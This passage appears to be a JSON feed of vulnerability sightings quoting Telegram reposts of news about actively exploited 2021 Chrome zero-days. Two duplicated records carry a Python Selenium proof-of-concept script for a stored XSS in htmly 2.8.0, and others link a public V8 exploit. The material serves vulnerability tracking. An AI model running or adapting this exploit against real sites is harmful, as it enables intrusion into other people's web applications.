Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-08T00:00:40.520385Z"}, {"uuid": "00a35570-aa3c-4930-8c77-d0a958164941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30630", "type": "exploited", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-08T00:00:40.456462Z"}, {"uuid": "256adfc6-ae3e-4eca-9927-68c1a79361d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "exploited", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:46.562271Z"}, {"uuid": "a18395b9-1500-49b0-8c73-ceed06088cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "exploited", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:46.721874Z"}, {"uuid": "3f25aa29-dddb-4da7-ad48-6d9cae6e324c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30637", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T10:00:06.448002Z"}, {"uuid": "1b53e03c-5df1-4ee3-87d1-1b48394a60f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30637", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:33.243771Z"}, {"uuid": "857fbdb1-6497-44cc-b6ac-9af9f357ce82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4431", "content": "Javascript Anti Debugging\nPart 1 - Abusing SourceMappingURL\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-1-abusing-sourcemappingurl-da91ff948e66\nPart 2 - Abusing Chromium Devtools Scope Pane\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-2-abusing-chromium-devtools-scope-pane-b2796c00331d\n\nexploit\nCVE-2021-30632:\nOut of bounds write in V8 (PoC)\nhttps://github.com/Phuong39/PoC-CVE-2021-30632\n// Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch\n\nCloud Security\nBlue Team Techniques\n1. A Cloud Forensics Powershell module to run\nthreat hunting playbooks on data from Azure/O365\ud83d\ude01\nhttps://github.com/darkquasar/AzureHunter\n2. APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus\ud83d\ude01\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-259a", "creation_timestamp": "2026-09-10T19:00:05.560137Z"}, {"uuid": "e4b5f014-4f8a-49a3-b62b-f65129017bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4431", "content": "Javascript Anti Debugging\nPart 1 - Abusing SourceMappingURL\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-1-abusing-sourcemappingurl-da91ff948e66\nPart 2 - Abusing Chromium Devtools Scope Pane\nhttps://medium.com/@weizmangal/javascript-anti-debugging-some-next-level-sh-t-part-2-abusing-chromium-devtools-scope-pane-b2796c00331d\n\nexploit\nCVE-2021-30632:\nOut of bounds write in V8 (PoC)\nhttps://github.com/Phuong39/PoC-CVE-2021-30632\n// Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch\n\nCloud Security\nBlue Team Techniques\n1. A Cloud Forensics Powershell module to run\nthreat hunting playbooks on data from Azure/O365\ud83d\ude01\nhttps://github.com/darkquasar/AzureHunter\n2. APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus\ud83d\ude01\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-259a", "creation_timestamp": "2026-09-11T00:00:30.164105Z"}]}